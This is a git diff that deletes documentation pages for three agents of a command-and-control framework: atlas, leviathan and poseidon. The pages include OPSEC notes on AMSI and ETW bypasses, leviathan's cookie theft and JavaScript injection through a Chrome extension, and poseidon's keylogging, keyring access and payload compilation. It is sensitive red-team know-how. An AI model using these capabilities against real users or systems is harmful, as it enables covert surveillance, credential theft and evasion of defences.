deleted file mode 100644
index 6911a1ec2..000000000
--- a/documentation-docker/content/Agents/atlas/development.md
+++ /dev/null
@@ -1,101 +0,0 @@
-+++
-title = "Development"
-chapter = false
-weight = 20
-pre = "3. "
-+++
-
-## Development Environment
-
-`atlas` was intended to be used with Windows 10+ systems, therefore having a Windows 10 machine/VM would be the best operating environement for development. The agent code is associated with a Visual Studio project file, allowing development to be completed within Visual Studio. If not available, any text editor can modify the agent files.
-
-## Adding Commands
-
-There are two aspects to adding a new command to the `atlas` agent. The first part of a new command is to add a case within the agent's `ExecuteTasking` function in `Utils.cs`. This is the dispatch logic for selecting what function to execute for a given job. The second aspect is optionally if needed for the new command, which is that the command function can be created, these typically reside in the `Modules.cs` file as a `public static` function that will return a string value for the Mythic's `user_output`. Below is an example of the case statement used for the `cd` command, you cna see this command did not require a new function.
-
-##### ExecuteTasking Case Statement
-```
-case "cd":
- if (Directory.Exists(Job.parameters))
- {
- Directory.SetCurrentDirectory(Job.parameters);
- Job.response = "New current directory: " + Directory.GetCurrentDirectory();
- Job.success = true;
- Job.completed = true;
- }
- else
- {
- Job.response = "Could not find directory";
- Job.success = false;
- Job.completed = true;
- }
- break;
-```
-
-Each command sent to an `atlas` agent is parsed and put into a new `Job` object for `atlas` to track and execute a tasking. This `Job` object has several properties used by different commands as see in the structure below.
-
-```
-public class Job
-{
- public int job_id { get; set; }
- public string task_id { get; set; }
- public bool completed { get; set; }
- public bool job_started { get; set; }
- public bool success { get; set; }
- public string command { get; set; }
- public string parameters { get; set; }
- public string response { get; set; }
- public Thread thread { get; set; }
- public bool upload { get; set; }
- public bool download { get; set; }
- public bool chunking_started { get; set; }
- public int total_chunks { get; set; }
- public int chunk_num { get; set; }
- public int write_num { get; set; }
- public string file_id { get; set; }
- public long file_size { get; set; }
- public string path { get; set; }
- public List chunks { get; set; }
-}
-```
-
-Not all properties for `Job`'s are required to be used, but can be useful depending on the task. The main properties that will _almost_ always be used are described below.
-
-- `job_id` - this is given based on a count of taskings recieved by the agent. This is used with the `jobs` and `jobkill` commands to view running jobs and kill any long running jobs.
-- `task_id` - this is the Mythic `task_id` used to identify that sopecific tasking.
-- `completed` - this property must be set to `true` before `atlas` will attempt to send the task response back to Mythic.
-- `success` - this property lets `atlas` know whether a task failed/errored during execution and properly send that info to Mythic.
-- `command` - this property is the command for the job to execute.
-- `parameters` - this property is the arguments to the command to be executed.
-- `response` - this property is a string to send back to Mythic and display as `user_output`.
-
-Taskings may also access global configuration data for the agent via the `Config` class. Data available is displayed below.
-
-```
-public class Config
-{
- public static List CallbackHosts = new List { "callback_host:callback_port" };
- public static List Servers = new List { };
- public static string PayloadUUID = "%UUID%";
- public static string UUID = "";
- public static string UserAgent = "USER_AGENT";
- public static string HostHeader = "domain_front";
- public static int Sleep = Int32.Parse("callback_interval");
- public static int Jitter = Int32.Parse("callback_jitter");
- public static string KillDate = "killdate";
- public static string Param = "%PARAM%";
- public static int ChunkSize = Int32.Parse("%CHUNK_SIZE%");
- public static bool DefaultProxy = bool.Parse("%DEFAULT_PROXY%");
- public static string ProxyAddress = "%PROXY_ADDRESS%";
- public static string ProxyUser = "%PROXY_USER%";
- public static string ProxyPassword = "%PROXY_PASSWORD%";
- public static string Url = "/api/v1.4/agent_message";
- public static string Psk = "AESPSK";
- public static string SessionId = "";
- public static string tempUUID = "";
- public static System.Security.Cryptography.RSACryptoServiceProvider Rsa;
- public static Dictionary Modules = new Dictionary();
-}
-```
-
-> Some of this data may or may not be available depending on agent build factors.
\ No newline at end of file
diff --git a/documentation-docker/content/Agents/atlas/opsec.md b/documentation-docker/content/Agents/atlas/opsec.md
deleted file mode 100644
index e9c60a3c3..000000000
--- a/documentation-docker/content/Agents/atlas/opsec.md
+++ /dev/null
@@ -1,24 +0,0 @@
-+++
-title = "OPSEC"
-chapter = false
-weight = 10
-pre = "1. "
-+++
-
-## Considerations
-`atlas` was designed to be as OPSEC friendly as possible, which in turn subjects the agnet to limited functionality. Currently, all commands for `atlas` use direct .NET methods or P/Invoke signatures where needed, while attempting to not require any third-party dependencies.
-
-To prevent defensive telemetry into the operations of an `atlas` agent, two bypasses are included to attempt to limit this visibility.
-
-- The first is an AMSI bypass to allow safer loading and execution of .NET assemblies. This technique is describe in [this post](https://rastamouse.me/blog/asb-bypass-pt3/) by [@_rastamouse](https://twitter.com/_rastamouse) and is part of the [SharpSploit](https://github.com/cobbr/SharpSploit/blob/master/SharpSploit/Evasion/Amsi.cs) project.
-
-- The second method is a bypass to the `ETWEventWrite` function outlined by [@_xpn_](https://twitter.com/_xpn_) [here](https://www.mdsec.co.uk/2020/03/hiding-your-net-etw/).
-
-### Post-Exploitation Jobs
-All post-expoitation jobs ran by `atlas` are executed within the agent's process memory space. This limits agent exposure to defensive telemetry by reducing interactions with remote processes. This comes with a risk of jobs crashing an agent's process. To combat this risk, `atlas` uses a multi-thread approach with error handling to minimize the impact of a crashed job to the agent's main executing thread.
-
-### Remote Process Injection
-There is no built in process injection technique available for `atlas`. However, with the ability to load and execute arbitary assemblies, there is room to create your own .NET assembly to execute any form of process injection.
-
-### Process Execution
-There is currently no built in process execution method available in `atlas`. This was to reduce the urge for operators to immediatly execute commands without need. Process execution can be achieved through the use of a custom .NET assembly loaded and executed through `atlas`.
\ No newline at end of file
diff --git a/documentation-docker/content/Agents/leviathan/_index.md b/documentation-docker/content/Agents/leviathan/_index.md
deleted file mode 100644
index c4b808d20..000000000
--- a/documentation-docker/content/Agents/leviathan/_index.md
+++ /dev/null
@@ -1,34 +0,0 @@
-+++
-title = "leviathan"
-chapter = false
-weight = 5
-+++
-![logo](/agents/leviathan/leviathan.svg?width=200px)
-## Summary
-The leviathan agent is a Chrome browser extension that leverages the websockets protocol for C2. To use this payload:
-1. Create the payload the UI. This will create a .zip file for you to download and extract.
-2. In Google Chrome, click the hamburger icon on the right -> More Tools -> Extensions
-3. Click the top right toggle for developer mode
-4. Drag the extension.crx file onto the extensions page in Chrome to get a popup about adding the extension
-5. Click "Add extension"
-6. The extension will now be listed with an `ID: string here` such as (`ID: cmpdmiiigdgpigikmenkkobfkcbnpgij`)
-{{% notice info %}}
-For local testing, you can select to "Load unpacked" and point to the `extension` folder. It'll load and run your extension locally.
-{{% /notice %}}
-At this point, you need to deploy it in operations. This is very OS and operation specific. In general, you're looking at steps 13 and 14 from @xorrior's original [blog](https://posts.specterops.io/no-place-like-chrome-122e500e421f).
-
-### Highlighted Agent Features
-
-- Capture screenshots
-- Steal cookies
-- View open tabs
-- Inject javascript into tabs
-- Dynamically load new commands
-
-## Authors
-
-@xorrior
-
-### Special Thanks to These Contributors
-
-@sixdub for the idea and PoC code
diff --git a/documentation-docker/content/Agents/leviathan/c2_profiles/_index.md b/documentation-docker/content/Agents/leviathan/c2_profiles/_index.md
deleted file mode 100644
index 3401a6432..000000000
--- a/documentation-docker/content/Agents/leviathan/c2_profiles/_index.md
+++ /dev/null
@@ -1,10 +0,0 @@
-+++
-title = "C2 Profiles"
-chapter = true
-weight = 25
-pre = "4. "
-+++
-
-# Supported C2 Profiles
-
-This section goes into any `leviathan` specifics for the supported C2 profiles.
diff --git a/documentation-docker/content/Agents/leviathan/c2_profiles/leviathan-websocket.md b/documentation-docker/content/Agents/leviathan/c2_profiles/leviathan-websocket.md
deleted file mode 100644
index 973470a53..000000000
--- a/documentation-docker/content/Agents/leviathan/c2_profiles/leviathan-websocket.md
+++ /dev/null
@@ -1,12 +0,0 @@
-+++
-title = "leviathan-websocket"
-chapter = false
-weight = 102
-+++
-
-## Summary
-The leviathan agent exclusively uses the websocket c2 profile with no deviations.
-
-### Profile Option Deviations
-
-
diff --git a/documentation-docker/content/Agents/leviathan/commands/_index.md b/documentation-docker/content/Agents/leviathan/commands/_index.md
deleted file mode 100644
index 28b294961..000000000
--- a/documentation-docker/content/Agents/leviathan/commands/_index.md
+++ /dev/null
@@ -1,9 +0,0 @@
-+++
-title = "Commands"
-chapter = true
-weight = 15
-pre = "2. "
-+++
-
-# leviathan Command Reference
-These pages provide in-depth documentation and code samples for the `leviathan` commands.
diff --git a/documentation-docker/content/Agents/leviathan/commands/cookiedump.md b/documentation-docker/content/Agents/leviathan/commands/cookiedump.md
deleted file mode 100644
index 4e26bcaf4..000000000
--- a/documentation-docker/content/Agents/leviathan/commands/cookiedump.md
+++ /dev/null
@@ -1,26 +0,0 @@
-+++
-title = "cookiedump"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-Dump all cookies from the currently selected cookie jar
-- Needs Admin: False
-- Version: 1
-- Author: @xorrior
-
-### Arguments
-
-## Usage
-
-```
-cookiedump
-```
-
-
-## Detailed Summary
-This command uses the chrome.cookies.getAll API to obtain all available cookies for the current user.
-https://developer.chrome.com/extensions/cookies#method-getAll
diff --git a/documentation-docker/content/Agents/leviathan/commands/exit.md b/documentation-docker/content/Agents/leviathan/commands/exit.md
deleted file mode 100644
index d4a358871..000000000
--- a/documentation-docker/content/Agents/leviathan/commands/exit.md
+++ /dev/null
@@ -1,26 +0,0 @@
-+++
-title = "exit"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-Exit the extension
-- Needs Admin: False
-- Version: 1
-- Author: @xorrior
-
-### Arguments
-
-## Usage
-
-```
-exit
-```
-
-
-## Detailed Summary
-
-This exits the current instance of the browser extension. This does _NOT_ remove the extension. It simply kills the connection. If the target closes and re-opens Chrome, you will get a new callback. Similarly, if you push an update to the extension, you'll get a new callback.
\ No newline at end of file
diff --git a/documentation-docker/content/Agents/leviathan/commands/inject.md b/documentation-docker/content/Agents/leviathan/commands/inject.md
deleted file mode 100644
index bf232226f..000000000
--- a/documentation-docker/content/Agents/leviathan/commands/inject.md
+++ /dev/null
@@ -1,39 +0,0 @@
-+++
-title = "inject"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-Inject arbitrary javascript into a browser tab
-- Needs Admin: False
-- Version: 1
-- Author: @xorrior
-
-### Arguments
-
-#### tabid
-
-- Description:
-- Required Value: True
-- Default Value: None
-
-#### javascript
-
-- Description: Base64 encoded javascript
-- Required Value: False
-- Default Value: None
-
-## Usage
-
-```
-inject {"tabid":0,"javascript":"base64 encoded javascript"}
-```
-
-
-## Detailed Summary
-
-This command uses the chrome.tabs.executeScript API to inject arbitrary javascript code into a browser tab.
-https://developer.chrome.com/extensions/tabs#method-executeScript
\ No newline at end of file
diff --git a/documentation-docker/content/Agents/leviathan/commands/load.md b/documentation-docker/content/Agents/leviathan/commands/load.md
deleted file mode 100644
index 5f646660c..000000000
--- a/documentation-docker/content/Agents/leviathan/commands/load.md
+++ /dev/null
@@ -1,26 +0,0 @@
-+++
-title = "load"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-Load a command into the extension
-- Needs Admin: False
-- Version: 1
-- Author: @xorrior
-
-### Arguments
-
-## Usage
-
-```
-load [command_name]
-```
-
-
-## Detailed Summary
-
-This loads the specified command into the extension. The command must be saved in the `chrome-extension/agent_commands` folder according to the template defined in the development section.
\ No newline at end of file
diff --git a/documentation-docker/content/Agents/leviathan/commands/screencapture.md b/documentation-docker/content/Agents/leviathan/commands/screencapture.md
deleted file mode 100644
index 926618dca..000000000
--- a/documentation-docker/content/Agents/leviathan/commands/screencapture.md
+++ /dev/null
@@ -1,27 +0,0 @@
-+++
-title = "screencapture"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-Capture a screenshot of the active tab
-- Needs Admin: False
-- Version: 1
-- Author: @xorrior
-
-### Arguments
-
-## Usage
-
-```
-screencapture
-```
-
-
-## Detailed Summary
-
-This command uses the chrome.tabs.captureVisibleTab API to grab a screenshot of the specified tab.
-https://developer.chrome.com/extensions/tabs#method-captureVisibleTab
\ No newline at end of file
diff --git a/documentation-docker/content/Agents/leviathan/commands/sleep.md b/documentation-docker/content/Agents/leviathan/commands/sleep.md
deleted file mode 100644
index ca504228a..000000000
--- a/documentation-docker/content/Agents/leviathan/commands/sleep.md
+++ /dev/null
@@ -1,27 +0,0 @@
-+++
-title = "sleep"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-Change the sleep interval for an agent
-- Needs Admin: False
-- Version: 1
-- Author: @xorrior
-
-### Arguments
-
-#### sleep
-
-- Description: Adjust the callback interval in seconds
-- Required Value: True
-- Default Value: None
-
-## Usage
-
-```
-sleep {"sleep":10}
-```
diff --git a/documentation-docker/content/Agents/leviathan/commands/tabs.md b/documentation-docker/content/Agents/leviathan/commands/tabs.md
deleted file mode 100644
index 478024bcb..000000000
--- a/documentation-docker/content/Agents/leviathan/commands/tabs.md
+++ /dev/null
@@ -1,27 +0,0 @@
-+++
-title = "tabs"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-Retrieve information about all open tabs in the current window
-- Needs Admin: False
-- Version: 1
-- Author: @xorrior
-
-### Arguments
-
-## Usage
-
-```
-tabs
-```
-
-
-## Detailed Summary
-
-This command uses the chrome.tabs.query API to retrieve information for all open tabs.
-https://developer.chrome.com/extensions/tabs#method-query
diff --git a/documentation-docker/content/Agents/leviathan/commands/userinfo.md b/documentation-docker/content/Agents/leviathan/commands/userinfo.md
deleted file mode 100644
index 38db413ad..000000000
--- a/documentation-docker/content/Agents/leviathan/commands/userinfo.md
+++ /dev/null
@@ -1,27 +0,0 @@
-+++
-title = "userinfo"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-Retrieve user information about the current user
-- Needs Admin: False
-- Version: 1
-- Author: @xorrior
-
-### Arguments
-
-## Usage
-
-```
-userinfo
-```
-
-
-## Detailed Summary
-
-This command uses the chrome.identity.getProfileUserInfo API to obtain additional information about the current user.
-https://developer.chrome.com/extensions/identity#method-getProfileUserInfo
\ No newline at end of file
diff --git a/documentation-docker/content/Agents/leviathan/development.md b/documentation-docker/content/Agents/leviathan/development.md
deleted file mode 100644
index 728fc982e..000000000
--- a/documentation-docker/content/Agents/leviathan/development.md
+++ /dev/null
@@ -1,37 +0,0 @@
-+++
-title = "Development"
-chapter = false
-weight = 20
-pre = "3. "
-+++
-
-## Development Environment
-
-The chrome extension code can be modified in any text editor or IDE since it's just plaintext JavaScript.
-
-## Adding Commands
-
-New commands should be added to `Payload_Types/leviathan/agent_code/commands/` directory. Please use the following template:
-
-```
-exports.command = function(task) {
- try {
- // Your command code here
- } catch (error) {
- // Exception handling
- let response = {"task_id":task.id, "user_output":error.toString(), "completed": true, "status":"error"};
- let outer_response = {"action":"post_response", "responses":[response], "delegates":[]};
- let enc = JSON.stringify(outer_response);
- let final = apfell.apfellid + enc;
- let msg = btoa(unescape(encodeURIComponent(final)));
- out.push(msg);
- }
-};
-COMMAND_ENDS_HERE
-```
-- The `out` variable is an array of json messages that will be sent to the chrome server.
-- The `task` variable is a json blob that represents a new task from mythic. For additional information, please review the documentation here: https://docs.apfell.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/action_get_tasking.
-
-## Adding C2 Profiles
-
-The code for c2 profiles is saved in `Payload_Types/leviahtan/agent_code/c2/`. Please use the `chrome-server` profile as an example.
diff --git a/documentation-docker/content/Agents/leviathan/leviathan.svg b/documentation-docker/content/Agents/leviathan/leviathan.svg
deleted file mode 100644
index f0015f88c..000000000
--- a/documentation-docker/content/Agents/leviathan/leviathan.svg
+++ /dev/null
@@ -1,824 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
diff --git a/documentation-docker/content/Agents/leviathan/opsec.md b/documentation-docker/content/Agents/leviathan/opsec.md
deleted file mode 100644
index 3ea759a77..000000000
--- a/documentation-docker/content/Agents/leviathan/opsec.md
+++ /dev/null
@@ -1,15 +0,0 @@
-+++
-title = "OPSEC"
-chapter = false
-weight = 10
-pre = "1. "
-+++
-
-## Considerations
-The leviathan agent does not utilize AES encryption for C2 communications.
-
-### Post-Exploitation Jobs
-All post-exploitation tasks are executed in an asynchronous manner.
-
-### Connections
-There's one held-open connection via WebSockets, then all tasking occurs within that connection.
\ No newline at end of file
diff --git a/documentation-docker/content/Agents/poseidon/_index.md b/documentation-docker/content/Agents/poseidon/_index.md
deleted file mode 100644
index 48bbe765f..000000000
--- a/documentation-docker/content/Agents/poseidon/_index.md
+++ /dev/null
@@ -1,34 +0,0 @@
-+++
-title = "poseidon"
-chapter = false
-weight = 5
-+++
-![logo](/agents/poseidon/poseidon.svg?width=200px)
-## Summary
-
-Poseidon is a Golang cross-platform (macOS & Linux) post-exploitation agent that leverages CGO for OS-specific API calls.
-
-### Highlighted Agent Features
-- Websockets protocol for C2
-- Socks5 in agent proxy capability
-- In-memory JavaScript for Automation execution
-- XPC Capability for IPC messages
-- Optional HMAC+AES with EKE for encrypted comms
-
-### Compilation Information
-This payload type uses golang to cross-compile into various platforms with the help of cgo and xgo
-
-There are two options for file types when building a poseidon payload
-- The default option produces an executable for the selected operating system
-- The c-archive option produces an archive file that can be used with sharedlib-darwin-linux.c to compile a shared object file for Linux or dylib for macOS.
-
-Building a SO/Dylib File
-- In the payload type information section of the payload creation page, please select the c-archive buildmode option.
-- The resulting payload file should be a zip archive. This contains the golang archive file and header for poseidon. Copy the sharedlib-darwin-linux.c file to the folder with the golang archive files.
-- Edit sharedlib-darwin-linux.c and change the include statement on line 7 to match the name of the golang archive header file.
-- Use clang to compile a dylib on macOS: clang -shared -framework Foundation -framework CoreGraphics -framework Security -fpic sharedlib-darwin-linux.c golangarchive.a -o payload.dylib
-- Note you may need to execute ranlib against the archive file before compiling.
-
-## Authors
-- @xorrior
-- @djhohnstein
diff --git a/documentation-docker/content/Agents/poseidon/c2_profiles/HTTP.md b/documentation-docker/content/Agents/poseidon/c2_profiles/HTTP.md
deleted file mode 100755
index 348446629..000000000
--- a/documentation-docker/content/Agents/poseidon/c2_profiles/HTTP.md
+++ /dev/null
@@ -1,14 +0,0 @@
-+++
-title = "HTTP"
-chapter = false
-weight = 102
-+++
-
-## Summary
-
-
-The `poseidon` agent uses HTTP POST messages for sending tasking responses and HTTP GET messages with a query parameter of `q` for getting tasking.
-
-
-### Profile Option Deviations
-
diff --git a/documentation-docker/content/Agents/poseidon/c2_profiles/_index.md b/documentation-docker/content/Agents/poseidon/c2_profiles/_index.md
deleted file mode 100644
index 89d2a3025..000000000
--- a/documentation-docker/content/Agents/poseidon/c2_profiles/_index.md
+++ /dev/null
@@ -1,10 +0,0 @@
-+++
-title = "C2 Profiles"
-chapter = true
-weight = 25
-pre = "4. "
-+++
-
-# Supported C2 Profiles
-
-This section goes into any `poseidon` specifics for the supported C2 profiles.
diff --git a/documentation-docker/content/Agents/poseidon/c2_profiles/websocket.md b/documentation-docker/content/Agents/poseidon/c2_profiles/websocket.md
deleted file mode 100644
index 506e36d48..000000000
--- a/documentation-docker/content/Agents/poseidon/c2_profiles/websocket.md
+++ /dev/null
@@ -1,12 +0,0 @@
-+++
-title = "websocket"
-chapter = false
-weight = 102
-+++
-
-## Summary
-The poseidon implementation of the websocket c2 profile has no deviations.
-
-### Profile Option Deviations
-
-
diff --git a/documentation-docker/content/Agents/poseidon/commands/_index.md b/documentation-docker/content/Agents/poseidon/commands/_index.md
deleted file mode 100644
index 54ffaac61..000000000
--- a/documentation-docker/content/Agents/poseidon/commands/_index.md
+++ /dev/null
@@ -1,6 +0,0 @@
-+++
-title = "Commands"
-chapter = true
-weight = 15
-pre = "2. "
-+++
\ No newline at end of file
diff --git a/documentation-docker/content/Agents/poseidon/commands/cat.md b/documentation-docker/content/Agents/poseidon/commands/cat.md
deleted file mode 100644
index 9ffb437f1..000000000
--- a/documentation-docker/content/Agents/poseidon/commands/cat.md
+++ /dev/null
@@ -1,33 +0,0 @@
-+++
-title = "cat"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-Cat a file via golang functions.
-
-- Needs Admin: False
-- Version: 1
-- Author: @xorrior
-
-### Arguments
-
-#### path
-
-- Description: path to file (no quotes required)
-- Required Value: True
-- Default Value: None
-
-## Usage
-
-```
-cat /path/to/file
-```
-
-## MITRE ATT&CK Mapping
-
-- T1005
-## Detailed Summary
-
diff --git a/documentation-docker/content/Agents/poseidon/commands/cd.md b/documentation-docker/content/Agents/poseidon/commands/cd.md
deleted file mode 100644
index d1ed5bdc1..000000000
--- a/documentation-docker/content/Agents/poseidon/commands/cd.md
+++ /dev/null
@@ -1,33 +0,0 @@
-+++
-title = "cd"
-chapter = false
-weight = 101
-hidden = false
-+++
-
-## Summary
-Change working directory (can be relative, but no ~).
-
-- Needs Admin: False
-- Version: 1
-- Author: @xorrior
-
-### Arguments
-
-#### path
-
-- Description: path to change directory to
-- Required Value: True
-- Default Value: None
-
-## Usage
-
-```
-cd [path]
-```
-
-## MITRE ATT&CK Mapping
-
-- T1005
-## Detailed Summary
-
diff --git a/documentation-docker/content/Agents/poseidon/commands/cp.md b/documentation-docker/content/Agents/poseidon/commands/cp.md
deleted file mode 100644
index 523afb418..000000000
--- a/documentation-docker/content/Agents/poseidon/commands/cp.md
+++ /dev/null
@@ -1,37 +0,0 @@
-+++
-title = "cp"
-chapter = false
-weight = 102
-hidden = false
-+++
-
-## Summary
-Copy a file from one location to another.
-
-- Needs Admin: False
-- Version: 1
-- Author: @xorrior
-
-### Arguments
-
-#### source
-
-- Description: Source file to copy.
-- Required Value: True
-- Default Value: None
-
-#### destination
-
-- Description: Source will copy to this location
-- Required Value: True
-- Default Value: None
-
-## Usage
-
-```
-cp
-```
-
-
-## Detailed Summary
-
diff --git a/documentation-docker/content/Agents/poseidon/commands/curl.md b/documentation-docker/content/Agents/poseidon/commands/curl.md
deleted file mode 100644
index 2a9e1a56c..000000000
--- a/documentation-docker/content/Agents/poseidon/commands/curl.md
+++ /dev/null
@@ -1,50 +0,0 @@
-+++
-title = "curl"
-chapter = false
-weight = 103
-hidden = false
-+++
-
-## Summary
-Execute a single web request.
-
-- Needs Admin: False
-- Version: 1
-- Author: @xorrior
-
-### Arguments
-
-#### url
-
-- Description: URL to request.
-- Required Value: True
-- Default Value: https://www.google.com
-
-#### method
-
-- Description: Type of request
-- Required Value: True
-- Default Value: None
-
-#### headers
-
-- Description: base64 encoded json with headers.
-- Required Value: False
-- Default Value: None
-
-#### body
-
-- Description: base64 encoded body.
-- Required Value: False
-- Default Value: None
-
-## Usage
-
-```
-curl { "url": "https://www.google.com", "method": "GET", "headers": "", "body": "" }
-```
-
-
-## Detailed Summary
-
-This command uses the Golang http.Client to perform a GET or POST request with optional arguments for request headers and body. The header and body arguments should be base64 encoded json blobs. For the headers argument, each key should map to a standard HTTP header.
\ No newline at end of file
diff --git a/documentation-docker/content/Agents/poseidon/commands/download.md b/documentation-docker/content/Agents/poseidon/commands/download.md
deleted file mode 100644
index aac6e4cc6..000000000
--- a/documentation-docker/content/Agents/poseidon/commands/download.md
+++ /dev/null
@@ -1,30 +0,0 @@
-+++
-title = "download"
-chapter = false
-weight = 104
-hidden = false
-+++
-
-## Summary
-Download a file from the target.
-
-- Needs Admin: False
-- Version: 1
-- Author: @xorrior
-
-### Arguments
-
-## Usage
-
-```
-download {path to remote file}
-```
-
-## MITRE ATT&CK Mapping
-
-- T1022
-- T1030
-- T1041
-## Detailed Summary
-
-Download a file from the remote host in chunks. Download is a non-blocking command
diff --git a/documentation-docker/content/Agents/poseidon/commands/drives.md b/documentation-docker/content/Agents/poseidon/commands/drives.md
deleted file mode 100644
index 5eb3744f1..000000000
--- a/documentation-docker/content/Agents/poseidon/commands/drives.md
+++ /dev/null
@@ -1,28 +0,0 @@
-+++
-title = "drives"
-chapter = false
-weight = 105
-hidden = false
-+++
-
-## Summary
-Get information about mounted drives on Linux hosts only.
-
-- Needs Admin: False
-- Version: 1
-- Author: @djhohnstein
-
-### Arguments
-
-## Usage
-
-```
-drives
-```
-
-## MITRE ATT&CK Mapping
-
-- T1135
-## Detailed Summary
-
-This command use the os.Stat function in Golang to enumerate the `/mnt` and `/Volumes` directories. This command is only available for nix systems.
\ No newline at end of file
diff --git a/documentation-docker/content/Agents/poseidon/commands/exit.md b/documentation-docker/content/Agents/poseidon/commands/exit.md
deleted file mode 100644
index 914500e6d..000000000
--- a/documentation-docker/content/Agents/poseidon/commands/exit.md
+++ /dev/null
@@ -1,27 +0,0 @@
-+++
-title = "exit"
-chapter = false
-weight = 106
-hidden = false
-+++
-
-## Summary
-Exit the current session and kill the agent.
-
-
-- Needs Admin: False
-- Version: 1
-- Author: @xorrior
-
-### Arguments
-
-## Usage
-
-```
-exit
-```
-
-
-## Detailed Summary
-
-Exits an agent. The agent will post an "exiting..." msg to the server if successful
\ No newline at end of file
diff --git a/documentation-docker/content/Agents/poseidon/commands/getenv.md b/documentation-docker/content/Agents/poseidon/commands/getenv.md
deleted file mode 100644
index fc986412d..000000000
--- a/documentation-docker/content/Agents/poseidon/commands/getenv.md
+++ /dev/null
@@ -1,26 +0,0 @@
-+++
-title = "getenv"
-chapter = false
-weight = 107
-hidden = false
-+++
-
-## Summary
-Get all of the current environment variables.
-
-- Needs Admin: False
-- Version: 1
-- Author: @djhohnstein
-
-### Arguments
-
-## Usage
-
-```
-getenv
-```
-
-
-## Detailed Summary
-
-This command uses the `os.Environ()` golang function to retrieve the environment for the current process and returns a string array.
\ No newline at end of file
diff --git a/documentation-docker/content/Agents/poseidon/commands/getuser.md b/documentation-docker/content/Agents/poseidon/commands/getuser.md
deleted file mode 100644
index d0e3516b2..000000000
--- a/documentation-docker/content/Agents/poseidon/commands/getuser.md
+++ /dev/null
@@ -1,28 +0,0 @@
-+++
-title = "getuser"
-chapter = false
-weight = 108
-hidden = false
-+++
-
-## Summary
-Get information regarding the current user context.
-
-- Needs Admin: False
-- Version: 1
-- Author: @xorrior
-
-### Arguments
-
-## Usage
-
-```
-getuser
-```
-
-## MITRE ATT&CK Mapping
-
-- T1033
-## Detailed Summary
-
-This command uses the golang `os/user` package and the `user.CurrentUser()` function to return the current users username, uid, gid, and home directory.
\ No newline at end of file
diff --git a/documentation-docker/content/Agents/poseidon/commands/jobkill.md b/documentation-docker/content/Agents/poseidon/commands/jobkill.md
deleted file mode 100644
index b165b7ad5..000000000
--- a/documentation-docker/content/Agents/poseidon/commands/jobkill.md
+++ /dev/null
@@ -1,27 +0,0 @@
-+++
-title = "jobkill"
-chapter = false
-weight = 109
-hidden = false
-+++
-
-## Summary
-Kill a job with the specified ID - not all jobs are killable though. Killable jobs are `keylog`, `triagedirectory`, and `portscan`.
-
-
-- Needs Admin: False
-- Version: 1
-- Author: @xorrior
-
-### Arguments
-
-## Usage
-
-```
-jobkill SOME-GUID-GOES-HERE
-```
-
-
-## Detailed Summary
-
-Kill a running job
\ No newline at end of file
diff --git a/documentation-docker/content/Agents/poseidon/commands/jobs.md b/documentation-docker/content/Agents/poseidon/commands/jobs.md
deleted file mode 100644
index ae2b3959b..000000000
--- a/documentation-docker/content/Agents/poseidon/commands/jobs.md
+++ /dev/null
@@ -1,26 +0,0 @@
-+++
-title = "jobs"
-chapter = false
-weight = 110
-hidden = false
-+++
-
-## Summary
-List killable jobs that are currently running with the agent.
-
-- Needs Admin: False
-- Version: 1
-- Author: @xorrior
-
-### Arguments
-
-## Usage
-
-```
-jobs
-```
-
-
-## Detailed Summary
-
-List all running jobs
\ No newline at end of file
diff --git a/documentation-docker/content/Agents/poseidon/commands/jxa.md b/documentation-docker/content/Agents/poseidon/commands/jxa.md
deleted file mode 100644
index 178f7daf0..000000000
--- a/documentation-docker/content/Agents/poseidon/commands/jxa.md
+++ /dev/null
@@ -1,32 +0,0 @@
-+++
-title = "jxa"
-chapter = false
-weight = 111
-hidden = false
-+++
-
-## Summary
-Execute JavaScript for Automation (JXA) code within the context of the agent. jxa
-
-- Needs Admin: False
-- Version: 1
-- Author: @xorrior
-
-### Arguments
-
-#### code
-
-- Description: JXA Code to execute.
-- Required Value: True
-- Default Value: None
-
-## Usage
-
-```
-jxa { "code": "ObjC.import('Cocoa'); $.NSBeep();" }
-```
-
-
-## Detailed Summary
-
-This command uses the `OSAScript` Objective-C class and the `executeAndReturnError` method to compile and execute JXA code in-memory.
\ No newline at end of file
diff --git a/documentation-docker/content/Agents/poseidon/commands/keylog.md b/documentation-docker/content/Agents/poseidon/commands/keylog.md
deleted file mode 100644
index ca58f799e..000000000
--- a/documentation-docker/content/Agents/poseidon/commands/keylog.md
+++ /dev/null
@@ -1,29 +0,0 @@
-+++
-title = "keylog"
-chapter = false
-weight = 112
-hidden = false
-+++
-
-## Summary
-Keylog users as root on Linux.
-
-
-- Needs Admin: False
-- Version: 1
-- Author: @xorrior
-
-### Arguments
-
-## Usage
-
-```
-keylog
-```
-
-## MITRE ATT&CK Mapping
-
-- T1056
-## Detailed Summary
-
-This command uses a file descriptor for the keyboard device to log keystrokes on nix systems. Not implemented for macOS.
\ No newline at end of file
diff --git a/documentation-docker/content/Agents/poseidon/commands/keys.md b/documentation-docker/content/Agents/poseidon/commands/keys.md
deleted file mode 100644
index 248944502..000000000
--- a/documentation-docker/content/Agents/poseidon/commands/keys.md
+++ /dev/null
@@ -1,45 +0,0 @@
-+++
-title = "keys"
-chapter = false
-weight = 113
-hidden = false
-+++
-
-## Summary
-Interact with the linux keyring.
-
-
-- Needs Admin: False
-- Version: 1
-- Author: @xorrior
-
-### Arguments
-
-#### command
-
-- Description: Choose a way to interact with keys.
-- Required Value: True
-- Default Value: None
-
-#### keyword
-
-- Description: Name of the key to search for
-- Required Value: False
-- Default Value: None
-
-#### typename
-
